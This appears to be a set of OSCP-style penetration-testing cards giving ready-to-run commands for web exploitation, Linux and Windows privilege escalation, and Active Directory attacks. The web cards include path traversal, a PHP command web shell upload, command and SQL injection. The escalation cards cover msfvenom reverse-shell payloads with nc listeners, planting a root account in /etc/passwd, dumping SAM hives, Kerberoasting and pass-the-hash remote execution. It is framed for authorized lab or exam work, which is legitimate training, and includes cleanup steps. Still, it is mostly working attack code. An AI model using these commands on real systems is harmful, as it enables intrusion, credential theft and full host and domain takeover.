Manual exploitation

Requires: A confirmed file-reading parameter; known target OS/path; enough traversal depth; URL path or parameter reaches the application without normalization.

Kali · Bash

Set parameters

BASE='http://TARGET/app'
PARAM='file'
FILE='../../../../etc/passwd'

Check applicability

curl -i --get --data-urlencode "$PARAM=known-public-file.txt" "$BASE"
curl -i --get --data-urlencode "$PARAM=../known-public-file.txt" "$BASE"

Proceed when: The two controlled requests show that traversal changes the selected server-side resource. A scanner label, 404 difference, or reflected path alone is inconclusive.

Execute the chosen method

curl -i --path-as-is --get --data-urlencode "$PARAM=$FILE" "$BASE"

Verify / if it fails: Recognizable file structure and contents prove file disclosure. An error can mean insufficient depth, application allowlisting, decoding order, a different working directory, or proxy normalization; preserve the exact request and change one condition at a time.

Full procedure and alternatives → · Upstream reference

Requires: PHP application; inclusion primitive reaches PHP stream wrappers; exact script path known or inferred. This reads source and does not itself execute commands.

Kali · Bash

Set parameters

URL='http://TARGET/index.php'
PARAM='page'
RESOURCE='config.php'

Check applicability

curl -i --get --data-urlencode "$PARAM=$RESOURCE" "$URL"

Proceed when: The parameter controls an included resource and the response behavior is consistent with server-side inclusion. Test a known existing and nonexistent resource before interpreting an empty page.

Execute the chosen method

curl -s --get --data-urlencode "$PARAM=php://filter/convert.base64-encode/resource=$RESOURCE" "$URL" | tee encoded.txt
tr -d '
' < encoded.txt | base64 -d

Verify / if it fails: Decoded PHP source, configuration, or credentials confirm disclosure. Base64-looking output must decode cleanly; HTML around the value may require extracting only the encoded segment.

Full procedure and alternatives → · Upstream reference

Requires: Upload feature, known multipart field, reachable storage path, server executes the chosen file type, and current authorization permits the upload. Start with an inert proof.

Kali · Bash

Set parameters

UPLOAD='http://TARGET/upload.php'
FIELD='file'
STORED='http://TARGET/uploads/proof.php'

Check applicability

printf '%s
' '<?php echo "upload-proof"; ?>' > proof.php
curl -i -F "$FIELD=@proof.php;type=application/x-php" "$UPLOAD"
curl -i "$STORED"

Proceed when: The response identifies the stored object and requesting it returns upload-proof from PHP execution. A successful upload without execution is only file placement.

Execute the chosen method

printf '%s
' '<?php if(isset($_GET["cmd"])) { system($_GET["cmd"]); } ?>' > cmd.php
curl -i -F "$FIELD=@cmd.php;type=application/x-php" "$UPLOAD"
curl -sG --data-urlencode 'cmd=id' "${STORED%proof.php}cmd.php"

Verify / if it fails: Command output from the target identity proves execution. Remove both uploaded files through the application or scoped target access after evidence capture. If the file downloads or renders as text, storage is not executable.

Full procedure and alternatives → · Upstream reference

Requires: One identified parameter and request shape; a stable baseline; target shell syntax; output or timing oracle. Use URL encoding so the request bytes are deliberate.

Kali · Bash

Set parameters

URL='http://TARGET/action'
PARAM='host'
BASELINE='127.0.0.1'

Check applicability

curl -sS -o baseline.txt -w '%{time_total}
' --get --data-urlencode "$PARAM=$BASELINE" "$URL"
curl -sS -o injection-check.txt -w '%{time_total}
' --get --data-urlencode "$PARAM=$BASELINE;id" "$URL"
diff -u baseline.txt injection-check.txt

Proceed when: The injected command produces attributable output or a repeated, controlled timing difference. One slow request or generic error does not prove execution.

Execute the chosen method

curl -sS --get --data-urlencode "$PARAM=$BASELINE;id;uname -a" "$URL"

Verify / if it fails: Target identity/OS output confirms command execution. If output is suppressed, repeat a bounded timing test several times before using the blind-command procedure; distinguish filtering, quoting, shell choice and network callback failures.

Full procedure and alternatives → · Upstream reference

Requires: Exact request and injection point; stable true/false baseline; suspected string or numeric context. Database-specific extraction comes only after the primitive is proven.

Kali · Bash

Set parameters

URL='http://TARGET/item.php'
PARAM='id'
TRUE_VALUE="1' AND '1'='1"
FALSE_VALUE="1' AND '1'='2"

Check applicability

curl -sS --get --data-urlencode "$PARAM=1" "$URL" -o normal.html
curl -sS --get --data-urlencode "$PARAM=$TRUE_VALUE" "$URL" -o true.html
curl -sS --get --data-urlencode "$PARAM=$FALSE_VALUE" "$URL" -o false.html
wc -c normal.html true.html false.html

Proceed when: Repeated true responses match the normal condition while false responses differ predictably. A raw database error can guide context but is not required and does not identify the full reachable capability.

Execute the chosen method

for n in 1 2 3 4 5 6 7 8; do
  curl -sS --get --data-urlencode "$PARAM=1' ORDER BY $n-- -" "$URL" -o "order-$n.html"
done

Verify / if it fails: The first failing ORDER BY value bounds the column count; continue with the database-specific UNION/boolean/time procedure in the linked page. This card intentionally stops before guessing DBMS syntax. Automatic SQL exploitation remains prohibited by current exam rules.

Full procedure and alternatives → · Upstream reference

Requires: Exact affected product/version and configuration; required authentication, platform and architecture; reviewed source; reachable service; reversible test or clear impact. A banner match alone is insufficient.

Kali · Bash

Set parameters

PRODUCT='PRODUCT VERSION'
EXPLOIT_ID='EDB-ID'
COPY='./EXPLOIT_FILE'

Check applicability

searchsploit --id "$PRODUCT"
searchsploit -x "$EXPLOIT_ID"
searchsploit -p "$EXPLOIT_ID"

Proceed when: The exploit prerequisites match observed evidence, its target/transport/payload assumptions are understood, and the source contains no unexplained destructive or outbound behavior.

Execute the chosen method

searchsploit -m "$EXPLOIT_ID"
file "$COPY"
grep -nEi 'target|host|port|callback|lhost|lport|payload|system(|popen|subprocess|remove|unlink' "$COPY"

Verify / if it fails: Run the copied exploit only after setting its documented parameters and listener, then verify the claimed effect independently. Use the full adaptation procedure for language/runtime repair, compilation and request replay; no universal execution command is safe or accurate here.

Full procedure and alternatives → · Upstream reference

Requires: Local shell; an allowed run-as identity above your own; exact executable and arguments permitted. This example is specifically unrestricted /usr/bin/find as root.

Linux target · Bash

Set parameters

BIN='/usr/bin/find'

Check applicability

id
sudo -l

Proceed when: The rule allows (root) /usr/bin/find with arbitrary arguments. Supply your own password if required. Restricted arguments or NOEXEC can invalidate this route.

Execute the chosen method

sudo "$BIN" . -exec /bin/sh \; -quit

Verify / if it fails: Run id in the new shell: uid=0 confirms root. A denied command means the rule does not allow this invocation; match the exact rule instead of retrying variants blindly.

Full procedure and alternatives → · Upstream reference

Requires: Local execution of that exact Bash binary; root owner and SUID bit; filesystem must honor SUID. This recipe is not a generic exploit for every SUID program.

Linux target · Bash

Set parameters

BIN='/path/to/bash'

Check applicability

ls -l "$BIN"
findmnt -T "$BIN" -o TARGET,OPTIONS

Proceed when: Owner root, owner execute position s, and no nosuid mount option. Containers, user namespaces and no-new-privileges can still constrain the result.

Execute the chosen method

"$BIN" -p

Verify / if it fails: Run id: euid=0 is the decisive effective privilege, even if uid remains your original user. Without elevated euid, check mount/process restrictions.

Full procedure and alternatives → · Upstream reference

Requires: Execute permission on the exact Python binary; effective CAP_SETUID available to its process. UID 0 inside a container does not establish host root.

Linux target · Bash

Set parameters

BIN='/path/to/python3'

Check applicability

getcap "$BIN"
ls -l "$BIN"
findmnt -T "$BIN" -o TARGET,OPTIONS

Proceed when: cap_setuid=ep on an executable Python binary is a direct candidate. nosuid/no-new-privileges or capability bounding rules may prevent the capability from taking effect.

Execute the chosen method

"$BIN" -c 'import os; os.setuid(0); os.execl("/bin/sh", "sh")'

Verify / if it fails: Run id in the shell. Operation not permitted means the process did not obtain the required capability; the filename or a PEAS highlight alone is insufficient.

Full procedure and alternatives → · Upstream reference

Requires: Confirmed root job, exact /bin/sh or Bash script path, effective write access and an upcoming trigger. A writable file without a privileged consumer is insufficient.

Linux target · Bash

Set parameters

SCRIPT='/path/to/job.sh'
PROOF=$(mktemp /tmp/oscp-cron-proof.XXXXXX)
BACKUP=$(mktemp /tmp/oscp-cron-backup.XXXXXX)

Check applicability

cat /etc/crontab
ls -l "$SCRIPT"
test -w "$SCRIPT" && echo 'Current identity can write'
head -n 5 "$SCRIPT"

Proceed when: Match a root crontab entry to this exact script and its interpreter. For /etc/cron.d jobs, read the actual selected job file too. Syntax must be compatible and execution must reach the appended line.

Execute the chosen method

cp -- "$SCRIPT" "$BACKUP"
printf '\n/usr/bin/id > "%s"\n' "$PROOF" >> "$SCRIPT"

Verify / if it fails: After the scheduled trigger, cat "$PROOF": uid=0 proves privileged execution, not an interactive root shell. No result: check schedule, path, early exits and trigger. Restore with cp -- "$BACKUP" "$SCRIPT" after reviewing that no other changes occurred; remove your temporary files.

Full procedure and alternatives → · Upstream reference

Requires: The artifact has a known credential type and identity context; the destination accepts that type. Validate locally before broad reuse and do not place a password on a command line.

Linux target · Bash · interactive password prompt

Set parameters

USER='TARGET_USER'

Check applicability

getent passwd "$USER"
id "$USER"
command -v su

Proceed when: The account exists, has a usable shell, and the credential is compatible with local password authentication. A password string without identity/context is only a candidate.

Execute the chosen method

su - "$USER"

Verify / if it fails: Run id, groups, pwd, env and sudo -l after success. Authentication failure can mean a wrong identity, stale credential, locked account, PAM restriction, or incompatible artifact; it does not justify spraying unrelated services.

Full procedure and alternatives → · Upstream reference

Requires: Observed privileged consumer; exact bare command; controlled PATH lookup occurs before a trusted directory; writable executable directory; reliable trigger.

Linux target · Bash

Set parameters

DIR='/writable/path'
NAME='bare-command'
PROOF='/tmp/oscp-path-proof'

Check applicability

ps auxf
grep -RniE '(^|[;&|[:space:]])(cp|tar|service|systemctl|CUSTOM)([[:space:]]|$)' /opt /usr/local /etc 2>/dev/null
namei -l "$DIR"
test -w "$DIR" && echo writable

Proceed when: The privileged execution reaches NAME through PATH and DIR precedes the real command. A writable PATH directory without a privileged relative invocation is insufficient.

Execute the chosen method

printf '#!/bin/sh
/usr/bin/id > %s
' "$PROOF" > "$DIR/$NAME"
chmod 755 "$DIR/$NAME"

Verify / if it fails: A fresh proof containing uid=0 confirms the privileged lookup. Remove only the planted executable after evidence capture. No proof: inspect the actual process environment, command name, trigger and early exits.

Full procedure and alternatives → · Upstream reference

Requires: Confirmed root command equivalent to tar ... *; shell expands filenames in a writable working directory; GNU tar supports checkpoint actions; reliable trigger.

Linux target · Bash

Set parameters

DIR='/writable/archive-directory'
PROOF='/tmp/oscp-tar-proof'

Check applicability

tar --version
ls -ld "$DIR"
grep -RniE 'tar .*[[:space:]]*' /etc /opt /usr/local 2>/dev/null

Proceed when: The exact privileged command uses an unprotected wildcard in DIR. A tar process or writable archive alone does not establish option injection.

Execute the chosen method

cd "$DIR"
printf '#!/bin/sh
/usr/bin/id > %s
' "$PROOF" > payload.sh
chmod 755 payload.sh
touch -- '--checkpoint=1'
touch -- '--checkpoint-action=exec=sh payload.sh'

Verify / if it fails: A fresh root-owned proof confirms execution. Remove the two option-like filenames and payload after evidence capture. BSD tar, explicit --, absolute file lists, another working directory, or a missing trigger rules this route out.

Full procedure and alternatives → · Upstream reference

Requires: Verified write/replace access to /etc/passwd and parent/mount; PAM/NSS uses the local file; openssl available to create a strong temporary hash. This changes authentication state.

Linux target · Bash

Set parameters

NAME='oscp-root'
BACKUP='/tmp/passwd.oscp-backup'

Check applicability

namei -l /etc/passwd
getfacl -p /etc/passwd /etc 2>/dev/null
test -w /etc/passwd && echo writable
getent passwd "$NAME"

Proceed when: The current identity can safely append to the active passwd database and NAME is unused. Preserve metadata and a backup; do not proceed if account sources or file integrity are unclear.

Execute the chosen method

cp -p /etc/passwd "$BACKUP"
HASH=$(openssl passwd -6)
printf '%s:%s:0:0:temporary root:/root:/bin/bash
' "$NAME" "$HASH" >> /etc/passwd
su - "$NAME"

Verify / if it fails: id must show uid=0. Restore with cp -p "$BACKUP" /etc/passwd only after confirming no concurrent legitimate account changes; otherwise remove exactly the added line through a reviewed edit. Delete the backup after restoration.

Full procedure and alternatives → · Upstream reference

Requires: Current process can access the Docker daemon socket; daemon runs with host-root authority; an available image; bind mounts and chroot permitted. Root inside an ordinary isolated container is not enough.

Linux target · Bash

Set parameters

SOCK='unix:///var/run/docker.sock'
IMAGE='alpine'

Check applicability

id
ls -l /var/run/docker.sock
docker -H "$SOCK" info
docker -H "$SOCK" images --format '{{.Repository}}:{{.Tag}}'

Proceed when: The daemon answers and the selected local image exists. If pulling requires network, choose an existing image. Rootless Docker or a remote daemon changes what filesystem/identity is controlled.

Execute the chosen method

docker -H "$SOCK" run --rm -it -v /:/mnt "$IMAGE" chroot /mnt /bin/sh

Verify / if it fails: Inside the shell, verify id, hostname, findmnt and a known host path. uid=0 alone does not prove host control. --rm removes the container on exit but not any host changes you make.

Full procedure and alternatives → · Upstream reference

Requires: Reachable NFS export mapped to the target path; no_root_squash; write access as root from Kali; target mount honors SUID; compatible executable and architecture.

Kali root then Linux target · Bash

Set parameters

SERVER='TARGET'
EXPORT='/export/path'
MOUNT='/mnt/oscp-nfs'

Set target-host parameters

TARGET_PATH='/target/mount/oscp-bash'

Check applicability

showmount -e "$SERVER"
sudo mkdir -p "$MOUNT"
sudo mount -t nfs "$SERVER:$EXPORT" "$MOUNT"
findmnt -T "$MOUNT" -o TARGET,SOURCE,FSTYPE,OPTIONS

Proceed when: A root-created test file remains owned by UID 0 when observed from the target and the target mount is not nosuid. Export text alone is not enough; validate actual mapping.

Execute the chosen method

sudo cp /bin/bash "$MOUNT/oscp-bash"
sudo chown root:root "$MOUNT/oscp-bash"
sudo chmod 4755 "$MOUNT/oscp-bash"

On the Linux target after confirming the mounted path:

"$TARGET_PATH" -p

Verify / if it fails: id should show euid=0. Delete only oscp-bash from the export and unmount the Kali mount after evidence capture. Architecture mismatch, root squashing, nosuid or a different target mount defeats the route.

Full procedure and alternatives → · Upstream reference

Requires: A sudo rule that actually preserves/permits LD_PRELOAD, usable compiler, and a permitted command. Dynamic loader restrictions and sudo policy must allow the variable.

Linux target · Bash

Set parameters

SRC='/tmp/oscp-preload.c'
SO='/tmp/oscp-preload.so'
ALLOWED='/path/to/allowed-command'

Check applicability

sudo -l
command -v gcc
file "$ALLOWED"
ldd "$ALLOWED"

Proceed when: sudo output explicitly shows env_keep+=LD_PRELOAD or SETENV for ALLOWED, and ALLOWED is dynamically linked. Merely seeing LD_PRELOAD in the current shell does not qualify.

Execute the chosen method

printf '%s
' '#include <unistd.h>' '#include <stdlib.h>' 'void _init(void){unsetenv("LD_PRELOAD");setgid(0);setuid(0);execl("/bin/sh","sh","-p",NULL);}' > "$SRC"
gcc -fPIC -shared -nostartfiles -o "$SO" "$SRC"
sudo LD_PRELOAD="$SO" "$ALLOWED"

Verify / if it fails: id in the spawned shell must show effective root. Remove the source/shared object afterward. Loader errors indicate policy, binary type, architecture, compilation or symbol issues; do not generalize to other environment variables.

Full procedure and alternatives → · Upstream reference

Requires: Exact kernel/package build, architecture and mitigation state; matching public exploit prerequisites; reviewed source; compiler/runtime; acceptable crash risk and recovery plan.

Linux target and Kali · Bash

Set parameters

CANDIDATE='CVE-YYYY-NNNN'

Check applicability

uname -a
cat /etc/os-release
dpkg-query -W 2>/dev/null | sort > /tmp/packages.txt || rpm -qa | sort > /tmp/packages.txt
sysctl kernel.unprivileged_userns_clone 2>/dev/null

Proceed when: The installed build is inside the affected range and every exploit-specific prerequisite is confirmed. Version strings can include backported fixes; verify vendor advisories/package changelogs.

Execute the chosen method

searchsploit --id "$CANDIDATE"
searchsploit -x "$CANDIDATE"
searchsploit -p "$CANDIDATE"

Verify / if it fails: Audit, copy, compile and run only through the linked public-exploit workflow, then verify effective identity. This card deliberately has no universal exploit command because side effects and build requirements are CVE-specific.

Full procedure and alternatives → · Upstream reference

Requires: Service configuration right plus a valid start/restart trigger; service runs as SYSTEM or another useful identity. File write permission is a separate mechanism.

Windows target · PowerShell · AccessChk staged locally

Set parameters

$Service = 'SERVICE_NAME'
$Proof = 'C:\Windows\Temp\oscp-service-proof.txt'

Check applicability

whoami /all
sc.exe qc $Service
sc.exe query $Service
.\accesschk64.exe -accepteula -c -v "$env:USERDOMAIN\$env:USERNAME" $Service
$OriginalPath = (Get-CimInstance Win32_Service -Filter "Name='$Service'").PathName
Test-Path $Proof

Proceed when: Confirm SERVICE_CHANGE_CONFIG and SERVICE_START (plus SERVICE_STOP if running), the run-as account, and a readable/writable proof destination. Choose a fresh proof filename. Preserve OriginalPath; if it is empty, capture the exact original command from sc qc before proceeding.

Execute the chosen method

sc.exe config $Service binPath= "C:\Windows\System32\cmd.exe /c whoami > $Proof"
sc.exe stop $Service

If it was running, wait until sc.exe query reports STOPPED. Then run the next block. A shared-process service or blocked stop needs a different trigger.

sc.exe start $Service
Get-Content $Proof
sc.exe config $Service binPath= $OriginalPath

Verify / if it fails: nt authority\system in the fresh file confirms SYSTEM execution. Error 1053 can occur because cmd.exe is not a service; inspect the proof. Restore the original configuration, remove the proof and return the service to its original state. This demonstration proves execution; it does not create a SYSTEM shell.

Full procedure and alternatives → · Upstream reference · Check tool reference

Requires: Suitable impersonation privilege, running Print Spooler and compatible Windows behavior. Upstream documents Windows 10 / Server 2016 / 2019; do not assume all newer builds work. Stage the correct architecture.

Windows target · PowerShell

Set parameters

$Tool = '.\PrintSpoofer64.exe'

Check applicability

whoami /priv
Get-Service Spooler
Get-CimInstance Win32_OperatingSystem | Select-Object Caption,Version,OSArchitecture

Proceed when: Privilege is present in the token and the required spooler behavior is available. Presence alone does not prove exploitability; a disabled privilege may be enableable by the tool.

Execute the chosen method

& $Tool -i -c cmd.exe

Verify / if it fails: Run whoami in the spawned shell: nt authority\system. Missing callback/token or access denied: examine platform, service and token prerequisites; do not infer that every impersonation exploit will work.

Full procedure and alternatives → · Upstream reference

Requires: SeBackupPrivilege in the effective token; writable staging directory; registry hive access; transfer path to Kali. This produces credential material and does not itself create a SYSTEM process.

Windows target, then Kali · PowerShell / Bash

Set parameters

$Stage = 'C:\Windows\Temp'

Check applicability

whoami /priv
Test-Path -LiteralPath $Stage
Get-Acl -LiteralPath $Stage | Format-List

Proceed when: SeBackupPrivilege is enabled or a reviewed helper can enable it, and the target hives can be saved to Stage. Membership in Backup Operators without the privilege in this token is only a clue.

Execute the chosen method

reg.exe save HKLM\SAM "$Stage\SAM" /y
reg.exe save HKLM\SYSTEM "$Stage\SYSTEM" /y
Get-Item "$Stage\SAM","$Stage\SYSTEM"

After transferring only the two staged hives to Kali:

impacket-secretsdump -sam SAM -system SYSTEM LOCAL

Verify / if it fails: A parsed local account LM:NT record confirms access to credential material; validate identity/context before any reuse. Remove the staged hives from the target and secure/delete local copies after recording required evidence. Access denied can mean a disabled privilege or token restriction.

Full procedure and alternatives → · Upstream reference

Requires: Exact service binary path; effective replace/write permission; service runs as SYSTEM/useful identity; restart trigger; architecture-compatible service executable; backup and restoration path.

Kali payload preparation, then Windows target · Bash / PowerShell

Set Kali parameters

LHOST='LHOST'
LPORT='LPORT'

Set target parameters

$SERVICE = 'SERVICE_NAME'
$BINARY = 'C:\Path\service.exe'
$BACKUP = 'C:\Windows\Temp\service.exe.oscp-backup'

Check applicability

sc.exe qc $SERVICE
sc.exe query $SERVICE
.\accesschk64.exe -accepteula -c -v "$env:USERDOMAIN\$env:USERNAME" $SERVICE
.\accesschk64.exe -accepteula -v "$env:USERDOMAIN\$env:USERNAME" $BINARY

Proceed when: The current identity can replace BINARY, the service account is useful, and you can stop/start it or wait for a known trigger. Writable configuration arguments may be distinct from the executable.

Execute the chosen method

msfvenom -p windows/x64/shell_reverse_tcp LHOST="$LHOST" LPORT="$LPORT" -f exe-service -o service.exe
nc -lvnp "$LPORT"

On the Windows target after transferring service.exe and while the listener is running:

Copy-Item -LiteralPath $BINARY -Destination $BACKUP
Stop-Service -Name $SERVICE
Copy-Item -LiteralPath .\service.exe -Destination $BINARY -Force
Start-Service -Name $SERVICE

Verify / if it fails: A callback followed by whoami/hostname confirms the service identity. Restore the original binary and original service state after evidence capture. Error 1053 does not decide success; inspect the listener and service status. File locking, AV, architecture and service format are common failure points.

Full procedure and alternatives → · Upstream reference

Requires: Unquoted ImagePath with spaces, exact Windows parsing candidate, write permission to that candidate, privileged service identity, restart trigger, compatible executable. The service executable itself need not be writable.

Kali preparation, then Windows target · Bash / PowerShell

Set Kali parameters

LHOST='LHOST'
LPORT='LPORT'

Set target parameters

$SERVICE = 'SERVICE_NAME'
$CANDIDATE = 'C:\Program.exe'

Check applicability

sc.exe qc $SERVICE
$Path = (Get-CimInstance Win32_Service -Filter "Name='$SERVICE'").PathName
$Path
.\accesschk64.exe -accepteula -c -v "$env:USERDOMAIN\$env:USERNAME" $SERVICE
.\accesschk64.exe -accepteula -v "$env:USERDOMAIN\$env:USERNAME" (Split-Path $CANDIDATE)

Proceed when: CANDIDATE is one of Windows service path parsing prefixes before the intended binary and the current identity can create it. A spaced path that is quoted, or no writable prefix, is not exploitable this way.

Execute the chosen method

msfvenom -p windows/x64/shell_reverse_tcp LHOST="$LHOST" LPORT="$LPORT" -f exe-service -o Program.exe
nc -lvnp "$LPORT"

On the Windows target after transferring Program.exe and while the listener is running:

Copy-Item .\Program.exe -Destination $CANDIDATE
Restart-Service -Name $SERVICE

Verify / if it fails: Verify the callback identity and host. Delete only CANDIDATE after evidence and restore the original service state. If the intended service starts normally, re-check the exact prefix, quoting, permissions and executable format.

Full procedure and alternatives → · Upstream reference

Requires: Exact task action and run-as identity; effective write/replace permission on consumed object; known trigger; syntax compatible with its interpreter; backup/restoration plan.

Windows target · PowerShell

Set parameters

$Task = '\Path\TaskName'
$Script = 'C:\Path\task-script.bat'
$Backup = 'C:\Windows\Temp\task-script.oscp-backup.bat'
$Proof = 'C:\Windows\Temp\oscp-task-proof.txt'

Check applicability

schtasks.exe /query /tn $Task /v /fo list
Get-Acl -LiteralPath $Script | Format-List
Test-Path -LiteralPath $Script

Proceed when: The task runs as SYSTEM/useful identity and reaches Script; the current identity can change the consumed bytes; a scheduled or authorized manual trigger exists.

Execute the chosen method

Copy-Item -LiteralPath $Script -Destination $Backup
Add-Content -LiteralPath $Script -Value "whoami > $Proof"
schtasks.exe /run /tn $Task

Verify / if it fails: A fresh proof containing the expected privileged identity confirms execution. Restore Script from Backup only after checking for concurrent legitimate changes, then delete the proof/backup. No proof: inspect Last Run Result, interpreter, working directory, trigger and early exits.

Full procedure and alternatives → · Upstream reference

Requires: Both policy values equal 1; Windows Installer available; architecture-compatible MSI; payload delivery/listener; acceptance of endpoint controls and cleanup.

Kali preparation, then Windows target · Bash / PowerShell

Set Kali parameters

LHOST='LHOST'
LPORT='LPORT'

Set target parameters

$MSI = 'C:\Windows\Temp\oscp.msi'

Check applicability

reg.exe query HKCU\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg.exe query HKLM\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

Proceed when: Both keys exist and report 0x1. One key alone does not activate the dangerous combined policy for unmanaged packages.

Execute the chosen method

msfvenom -p windows/x64/shell_reverse_tcp LHOST="$LHOST" LPORT="$LPORT" -f msi -o oscp.msi
nc -lvnp "$LPORT"

On the Windows target after transferring the MSI and while the listener is running:

msiexec.exe /quiet /qn /i $MSI

Verify / if it fails: Verify callback identity and host. Delete the staged MSI after evidence. If installation returns without a callback, check both policies, listener/reachability, architecture, endpoint controls and MSI event logs.

Full procedure and alternatives → · Upstream reference

Requires: Exact missing DLL name, architecture and search directory; writable location precedes a legitimate copy; repeatable privileged trigger; DLL payload with a minimal DllMain; endpoint controls considered.

Windows observation, Kali preparation, then Windows target

Set Kali parameters

LHOST='LHOST'
LPORT='LPORT'
DLL='missing.dll'

Set target parameters

$DROP = 'C:\Writable\SearchPath\missing.dll'

Check applicability

# Procmon filter: Process Name is TARGET.exe; Result is NAME NOT FOUND; Path ends with .dll
Get-Acl -LiteralPath (Split-Path $DROP) | Format-List
Test-Path -LiteralPath $DROP

Proceed when: A trace from the actual privileged trigger shows it requesting DLL at DROP before a trusted resolution, and DROP is absent/writable. A writable application directory without an observed load is only a candidate.

Execute the chosen method

# Kali:
msfvenom -p windows/x64/shell_reverse_tcp LHOST="$LHOST" LPORT="$LPORT" -f dll -o "$DLL"
nc -lvnp "$LPORT"
# Transfer DLL to DROP, then invoke the already identified trigger.

Verify / if it fails: Verify callback identity/host and delete the planted DLL after evidence. No callback: re-check process/DLL architecture, actual load order, trigger identity, export requirements and endpoint controls. Avoid replacing an existing DLL unless its backup/restoration is fully understood.

Full procedure and alternatives → · Upstream reference

Requires: Saved credential target/user matches the runas context; interactive or profile conditions satisfied; chosen command is allowed. cmdkey output does not reveal a reusable password/hash.

Windows target · cmd / PowerShell

Set parameters

$User = 'DOMAIN\USER'
$Proof = 'C:\Windows\Temp\oscp-savedcred-proof.txt'

Check applicability

cmdkey.exe /list
Get-Item -LiteralPath (Split-Path $Proof)

Proceed when: A stored entry corresponds to User and runas /savecred can access it in the current logon profile. Generic credentials may apply only to a particular target/application.

Execute the chosen method

runas.exe /savecred /user:$User "cmd.exe /c whoami /all > $Proof"

Verify / if it fails: Read the fresh proof to confirm the new identity and token. An authentication prompt means the saved credential was not selected; blank output may reflect profile/UI or quoting behavior. Remove the proof after capture; do not delete saved credentials unless explicitly required.

Full procedure and alternatives → · Upstream reference

Requires: Exact OS build/patch and architecture or exact product version/configuration; reviewed public exploit; required token/session; compatible runtime; crash/revert plan.

Windows target inventory, Kali research

Set parameters

CANDIDATE='CVE-YYYY-NNNN'

Check applicability

Get-CimInstance Win32_OperatingSystem | Select-Object Caption,Version,BuildNumber,OSArchitecture
Get-HotFix | Sort-Object InstalledOn
Get-ItemProperty 'HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\*','HKLM:\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*' -ErrorAction SilentlyContinue | Where-Object DisplayName | Select-Object DisplayName,DisplayVersion

Proceed when: Observed build/configuration is inside the affected range and every exploit prerequisite matches. Missing a KB or seeing a product name is not sufficient because fixes may be superseded/backported.

Execute the chosen method

# On Kali:
searchsploit --id "$CANDIDATE"
searchsploit -x "$CANDIDATE"
searchsploit -p "$CANDIDATE"

Verify / if it fails: Use the linked public-exploit procedure for audit, compilation and execution, then verify identity independently. This card intentionally stops before running version-specific exploit code.

Full procedure and alternatives → · Upstream reference

Requires: Current domain identity has effective member-write rights on the exact group; DC reachable. PowerView loaded in Windows PowerShell 5.1. Group membership must enable a useful next right or host access.

Domain-connected Windows host · Windows PowerShell 5.1

Set parameters

. .\PowerView.ps1
$Group = 'GROUP'
$Member = 'USER'

Check applicability

whoami /user
whoami /groups
Get-DomainGroup -Identity $Group
Get-DomainObjectAcl -Identity $Group -ResolveGUIDs | Format-Table SecurityIdentifier,ActiveDirectoryRights,ObjectAceType,AceType -AutoSize
Get-DomainGroupMember -Identity $Group

Proceed when: Resolve ACL trustees against your user/group SIDs. Look for applicable Allow GenericAll or WriteProperty on member, accounting for denies and inheritance. The ACL listing is not an effective-rights verdict; an old graph edge is only a lead. If already a member, investigate its capability instead.

Execute the chosen method

Add-DomainGroupMember -Identity $Group -Members $Member
Get-DomainGroupMember -Identity $Group

Verify / if it fails: The exact member appears in the group. Reauthenticate for new tokens/tickets before testing access. Record whether membership was pre-existing; remove only your added membership with Remove-DomainGroupMember -Identity $Group -Members $Member. Access denied: validate the acting identity and effective ACL.

Full procedure and alternatives → · Upstream reference

Requires: Effective reset-password right on this exact user; domain connectivity; PowerView in Windows PowerShell 5.1. Changes the account password and can disrupt services or access to user-protected secrets; choose this route deliberately.

Domain-connected Windows host · Windows PowerShell 5.1

Set parameters

. .\PowerView.ps1
$TargetUser = 'USER'
$Domain = 'DOMAIN'
$NewPassword = Read-Host 'New target password' -AsSecureString

Check applicability

whoami /user
whoami /groups
Get-DomainUser -Identity $TargetUser
Get-DomainObjectAcl -Identity $TargetUser -ResolveGUIDs | Format-Table SecurityIdentifier,ActiveDirectoryRights,ObjectAceType,AceType -AutoSize

Proceed when: An applicable Allow ACE grants GenericAll or the User-Force-Change-Password extended right to your user/group, with no overriding deny. Change-password permission is different. The displayed ACL requires interpretation; confirm the exact target and actor.

Execute the chosen method

Set-DomainUserPassword -Identity $TargetUser -AccountPassword $NewPassword -Verbose
$Credential = New-Object System.Management.Automation.PSCredential("$Domain\$TargetUser", $NewPassword)
Get-DomainUser -Identity $TargetUser -Credential $Credential

Verify / if it fails: A successful authenticated directory query with the new credentials confirms usable authentication. It does not establish host access. Password policy, ACLs or the wrong actor can prevent reset. Preserve the new identity context and validate its rights; the unknown original password cannot simply be restored.

Full procedure and alternatives → · Upstream reference

Requires: Valid domain credentials; DC LDAP/Kerberos connectivity; a selected SPN account; compatible Impacket on Kali. A ticket is crackable material, not the plaintext password or an NT hash.

Kali · Bash · password prompted by Impacket

Set parameters

DOMAIN='DOMAIN'
USER='USER'
DC_IP='DC_IP'
SPN_USER='SPN_USER'

Check applicability

impacket-GetUserSPNs -dc-ip "$DC_IP" "$DOMAIN/$USER"

Proceed when: The selected account appears with a servicePrincipalName. Strong passwords can make recovery impractical; requesting a ticket does not imply escalation.

Execute the chosen method

impacket-GetUserSPNs -dc-ip "$DC_IP" -request-user "$SPN_USER" -outputfile kerberoast.txt "$DOMAIN/$USER"

Verify / if it fails: A $krb5tgs$ record is the requested artifact. Choose the cracking mode from its encryption type in the linked procedure; only a recovered, validated password yields a new identity. Empty results, authentication failures or unreachable LDAP/KDC need diagnosis first.

Full procedure and alternatives → · Upstream reference

Requires: Actual NT hash, not NetNTLM capture or Kerberos ticket; correct local/domain identity; permitted NTLM; WMI execution rights and SMB output access. Default path needs TCP 135, dynamic RPC and SMB 445. Local-account token filtering may block administration.

Kali · Bash

Set parameters

DOMAIN='DOMAIN'
USER='USER'
TARGET='TARGET'
HASH='HASH'

Check applicability

impacket-smbclient -hashes ":$HASH" "$DOMAIN/$USER@$TARGET"

Proceed when: At the SMB prompt run shares, then use ADMIN$ and ls; exit before the execution block. Authenticated share access supports identity/access checks but does not prove WMI authorization. A denied ADMIN$ can also reflect output-share restrictions.

Execute the chosen method

impacket-wmiexec -hashes ":$HASH" "$DOMAIN/$USER@$TARGET"

Verify / if it fails: Run whoami, hostname and ipconfig in the remote shell. Success is remote execution as that identity, not necessarily SYSTEM. If SMB works but WMI fails, check RPC reachability, WMI authorization and remote UAC; do not misclassify every access-denied result as an invalid hash.

Full procedure and alternatives → · Upstream reference

